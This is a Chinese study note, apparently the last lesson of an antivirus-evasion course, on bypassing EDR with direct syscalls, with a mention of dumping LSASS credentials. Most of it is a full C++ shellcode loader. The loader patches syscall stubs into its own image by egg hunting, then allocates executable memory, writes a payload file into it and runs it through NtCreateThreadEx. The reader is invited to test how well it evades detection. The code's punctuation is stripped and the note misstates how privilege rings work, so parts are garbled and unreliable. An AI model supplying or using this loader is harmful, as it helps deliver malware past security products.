免杀对抗——第一百六十七天安全工具篇动态绕过DumpLsass凭据SysCALL调用对抗EDR打乱源头特征动态拦截 - dump lsass绕过-源头特征混淆文件接着昨天的内容除了上述这些方法还可以用其他的冷门项目参考文章Lsass Dump的50种方法然后还有就是这个Syscall调用去绕过参考文章【免杀】突破 360 核晶防护的 Syscall 免杀策略Intel的CPU将特权等级分为4个级别——从R0到R3R0是系统核心态在核心态运行拥有最高权限R1和R2运行的是设备驱动程序R3是用户代码态在用户态下运行拥有最低权限每一层支持访问本层以及权限更低层的数据它的免杀原理就是能不能注入到比杀毒软件更高的特权等级运行让杀软无法扫描检测以此来绕过杀软或EDR这里可以参考我们之前学的InlineHook它的作用是隐藏DLL加载函数让杀软找不到而这里的Syscall是将DLL加载函数放到R0层执行让杀软无法检测但这是属于之前的免杀思路了也不知道gay迪怎么莫名其妙讲到了这里代码如下#includesyscalls_mem.h#includestdio.h#includestdlib.h#includewindows.h#includepsapi.h#includefstream#includeiostream#includevector#includesstream#includeiomanip#define_CRT_SECURE_NO_WARNINGSusing namespace std;#defineDEBUG0HMODULEGetMainModule(HANDLE);BOOLGetMainModuleInformation(PULONG64,PULONG64);voidFindAndReplace(unsignedchar[],unsignedchar[]);unsignedchar*charToUnsignedChar(constchar*str){// 获取字符串的长度intlenstrlen(str);// 为 unsigned char[] 分配内存空间unsignedchar*ustrnewunsignedchar[len1];// 需要1来存储字符串结束符 \0// 将字符复制到 unsigned char[] 中for(inti0;ilen;i){ustr[i]static_castunsignedchar(str[i]);}ustr[len]\0;// 添加字符串结束符returnustr;}// 获取指定进程的主模块句柄HMODULEGetMainModule(HANDLE hProcess){HMODULE mainModuleNULL;// 主模块句柄,初始化为NULLHMODULE*lphModule;// 指向模块句柄数组的指针LPBYTE lphModuleBytes;// 指向模块句柄缓冲区的指针DWORD lpcbNeeded;// 存储模块句柄所需的缓冲区大小// 首先调用EnumProcessModules来获取存储模块句柄所需的空间大小(以字节为单位)BOOL successEnumProcessModules(hProcess,NULL,0,lpcbNeeded);// 我们已经知道lpcbNeeded一定大于0if(!success||lpcbNeeded0){printf([-] Error enumerating process modules\n);// 我们已经知道无法动态放置系统调用指令,退出exit(1);}// 一旦我们获取到存储该进程所有模块句柄所需的字节数,我们可以为其分配空间lphModuleBytes(LPBYTE)LocalAlloc(LPTR,lpcbNeeded);if(lphModuleBytesNULL){printf([-] Error allocating memory to store process modules handles\n);exit(1);}unsignedintmoduleCount;moduleCountlpcbNeeded/sizeof(HMODULE);lphModule(HMODULE*)lphModuleBytes;successEnumProcessModules(hProcess,lphModule,lpcbNeeded,lpcbNeeded);if(!success){printf([-] Error enumerating process modules\n);exit(1);}// 最后存储主模块mainModulelphModule[0];// 避免内存泄漏LocalFree(lphModuleBytes);// 返回主模块returnmainModule;}// 获取主模块信息BOOLGetMainModuleInformation(PULONG64 startAddress,PULONG64 length){HANDLE hProcessGetCurrentProcess();// 获取当前进程句柄HMODULE hModuleGetMainModule(hProcess);// 获取主模块句柄MODULEINFO mi;// MODULEINFO结构体GetModuleInformation(hProcess,hModule,mi,sizeof(mi));// 获取模块信息,存储在mi中printf(Base Address: 0x%llu\n,(ULONG64)mi.lpBaseOfDll);// 输出模块加载基址printf(Image Size: %u\n,(ULONG)mi.SizeOfImage);// 输出模块映像大小printf(Entry Point: 0x%llu\n,(ULONG64)mi.EntryPoint);// 输出模块入口点printf(\n);*startAddress(ULONG64)mi.lpBaseOfDll;// 将加载基址存储在startAddress中*length(ULONG64)mi.SizeOfImage;// 将映像大小存储在length中DWORD oldProtect;// 将页面属性设置为可执行可读可写VirtualProtect(mi.lpBaseOfDll,mi.SizeOfImage,PAGE_EXECUTE_READWRITE,oldProtect);return0;}voidFindAndReplace(unsignedcharegg[],unsignedcharreplace[]){ULONG64 startAddress0;// 主模块加载基址ULONG64 size0;// 主模块映像大小GetMainModuleInformation(startAddress,size);// 获取主模块信息,更新startAddress和sizeif(size0){printf([-] Error detecting main module size);exit(1);}ULONG64 currentOffset0;// 当前偏移unsignedchar*current(unsignedchar*)malloc(8*sizeof(unsignedchar*));// 分配8字节空间size_tnBytesRead;printf(Starting search from: 0x%llu\n,(ULONG64)startAddresscurrentOffset);while(currentOffsetsize-8)// 循环搜索, currentOffset 的最大值为 size - 8{currentOffset;LPVOID currentAddress(LPVOID)(startAddresscurrentOffset);// 计算当前搜索地址if(DEBUG0){printf(Searching at 0x%llu\n,(ULONG64)currentAddress);}if(!ReadProcessMemory((HANDLE)((int)-1),currentAddress,current,8,nBytesRead)){printf([-] Error reading from memory\n);exit(1);}if(nBytesRead!8){printf([-] Error reading from memory\n);continue;}if(DEBUG0){// 调试输出当前读取的8字节for(inti0;inBytesRead;i){printf(%02x ,current[i]);}printf(\n);}if(memcmp(egg,current,8)0)// 如果读取的8字节与egg匹配{printf(Found at %llu\n,(ULONG64)currentAddress);// 替换为replaceWriteProcessMemory((HANDLE)((int)-1),currentAddress,replace,8,nBytesRead);}}printf(Ended search at: 0x%llu\n,(ULONG64)startAddresscurrentOffset);free(current);// 释放current分配的内存空间}unsignedcharhexCharToUnsignedChar(charhex){if(0hexhex9){returnhex-0;}elseif(ahexhexf){returnhex-a10;}elseif(AhexhexF){returnhex-A10;}return0;}// 将两个十六进制字符组成的字符串转换为相应的 unsigned char 数值unsignedcharhexStringToUnsignedChar(conststd::stringhexString){if(hexString.length()!2){return0;// 输入错误返回0}return(hexCharToUnsignedChar(hexString[0])4)|hexCharToUnsignedChar(hexString[1]);}// 将十六进制字符串转换为相应的 unsigned char 数组std::stringhexStringToUnsignedCharArray(conststd::stringhexString){size_tlengthhexString.length();if(length%2!0){return;// 长度不是偶数无法正确转换返回空字符串}std::string result;for(size_ti0;ilength;i2){resulthexStringToUnsignedChar(hexString.substr(i,2));}returnresult;}/* length: 892 bytes */unsignedintcalc_len924-32;std::stringByteToHex(unsignedcharbyte){std::ostringstream oss;ossstd::hexstd::uppercasestd::setw(2)std::setfill(0)static_castunsignedint(byte);returnoss.str();}std::stringBinaryToHex(conststd::vectorunsignedcharbinaryData){std::ostringstream oss;for(unsignedcharbyte:binaryData){ossByteToHex(byte);}returnoss.str();}intmain(){charfilename[]C:\\Users\\alice\\Desktop\\aviod\\syscall2\\payload.bin;// 以读模式打开文件ifstream infile;//以二进制方式打开infile.open(filename,ios::out|ios::binary);infile.seekg(0,infile.end);//追溯到流的尾部intlengthinfile.tellg();//获取流的长度infile.seekg(0,infile.beg);//回溯到流头部char*datanewchar[length];//存取文件内容if(infile.is_open()){coutreading from the fileendl;infile.read(data,length);}coutsize of data sizeof(data)endl;coutsize of file lengthendl;for(inti0;ilength;i){printf(\\%x ,data[i]);}printf(\n);unsignedcharegg[]{0x74,0x0,0x0,0x7a,0x74,0x0,0x0,0x7a};// eggunsignedcharreplace[]{0x0f,0x05,0x90,0x90,0xC3,0x90,0xCC,0xCC};// syscall; nop; nop; ret; nop; int3; int3FindAndReplace(egg,replace);HANDLE hProcGetCurrentProcess();DWORD oldprotect0;PVOID base_addrNULL;HANDLE thandleNULL;NTSTATUS NTAVMNtAllocateVirtualMemory(hProc,base_addr,0,(PSIZE_T)length,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);NTSTATUS ABMNtWriteVirtualMemory(hProc,base_addr,data,length,0);//RtlMoveMemory(base_addr, calc_payload, calc_len);NTSTATUS ctNtCreateThreadEx(thandle,GENERIC_EXECUTE,NULL,hProc,base_addr,NULL,FALSE,0,0,0,NULL);WaitForSingleObject(thandle,-1);//free(base_addr);//clean up after ourselve}这个的话可以自己下去试试免杀性如何这种思路还是值得学习的然后这节课就比较水也是免杀的最后一节课差不多就这些内容总结整个免杀课程到这里就结束了然后下面是做的整个内容的思维导图可以参考复习看看